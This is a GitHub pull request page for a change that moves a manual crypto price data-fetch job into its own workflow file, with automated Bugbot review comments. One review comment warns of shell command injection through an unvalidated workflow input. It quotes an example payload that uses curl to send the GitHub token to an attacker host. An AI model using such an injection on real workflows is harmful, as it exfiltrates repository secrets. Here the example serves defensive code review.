Skip to content

Conversation

@yohplala
Copy link
Owner

@yohplala yohplala commented Dec 18, 2025

Move and fix the manual data fetching workflow to a dedicated data.yml file to enable on-demand updates of the data orphan branch.

The original fetch-data job in tests.yml was designed for manual triggering but lacked the workflow_dispatch event, making it impossible to run. It also had an incorrect needs: test dependency for manual runs and an incorrect working directory. This PR resolves these issues by creating a standalone, robust workflow with proper triggers, dependencies, and path handling, allowing users to manually update cached data.


Open in Cursor Open in Web


Note

Introduce a standalone, manually triggered data-fetch workflow and strip the heavy fetch job from the tests workflow.

  • CI Workflows:
    • New data.yml (manual data fetch):
      • Adds workflow_dispatch with optional limit input.
      • Checks out main and data (or initializes orphan data branch if missing).
      • Restores existing cached data into main/data.
      • Sets up Python/Poetry with cached venv; runs list-coins, fetch-prices (supports --limit), and status.
      • Syncs generated data back to data branch, updates README with counts/timestamp, squashes to a single commit, and force-pushes.
    • Update tests.yml:
      • Removes the previous manual fetch-data job; retains only lint/test/coverage steps.

Written by Cursor Bugbot for commit 33d3c71. This will update automatically on new commits. Configure here.

@cursor
Copy link

cursor bot commented Dec 18, 2025

Cursor Agent can help with this pull request. Just @cursor in comments and I'll start working on changes in this branch.
Learn more about Cursor Agents

cursoragent and others added 2 commits December 18, 2025 20:07
@yohplala yohplala marked this pull request as ready for review December 18, 2025 20:26
@yohplala yohplala merged commit 8e2190c into main Dec 18, 2025
2 checks passed
@yohplala yohplala deleted the cursor/data-branch-workflow-fix-78cf branch December 18, 2025 20:27
Copy link

@cursor cursor bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR is being reviewed by Cursor Bugbot

Details

You are on the Bugbot Free tier. On this plan, Bugbot will review limited PRs each billing cycle.

To receive Bugbot reviews on all of your PRs, visit the Cursor dashboard to activate Pro and start your 14-day free trial.


- name: Show data status
working-directory: main
run: poetry run python -m main status
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: Missing calculate-total2 step in migrated workflow

The calculate-total2 command step was present in the original workflow in tests.yml but was not included when migrating to data.yml. The workflow fetches price data and shows status, but skips the TOTAL2 index calculation that should occur between these steps. The README generated on line 154 still references "TOTAL2 index" as expected output, but this data won't be generated without the missing step.

Fix in Cursor Fix in Web

working-directory: main
run: |
if [ -n "${{ github.event.inputs.limit }}" ]; then
poetry run python -m main fetch-prices --limit ${{ github.event.inputs.limit }}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: Unvalidated workflow input enables command injection

The github.event.inputs.limit value is directly interpolated into the shell command on line 102 without validation or proper quoting. Since GitHub Actions evaluates ${{ }} expressions before the shell runs, a malicious input like 10; curl attacker.com/steal?token=$GITHUB_TOKEN would execute arbitrary commands. While workflow_dispatch requires write access to trigger, this could still allow secret exfiltration or repository compromise through a compromised account.

Fix in Cursor Fix in Web

@cursor cursor bot restored the cursor/data-branch-workflow-fix-78cf branch December 18, 2025 20:30
@yohplala yohplala deleted the cursor/data-branch-workflow-fix-78cf branch December 18, 2025 22:06
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants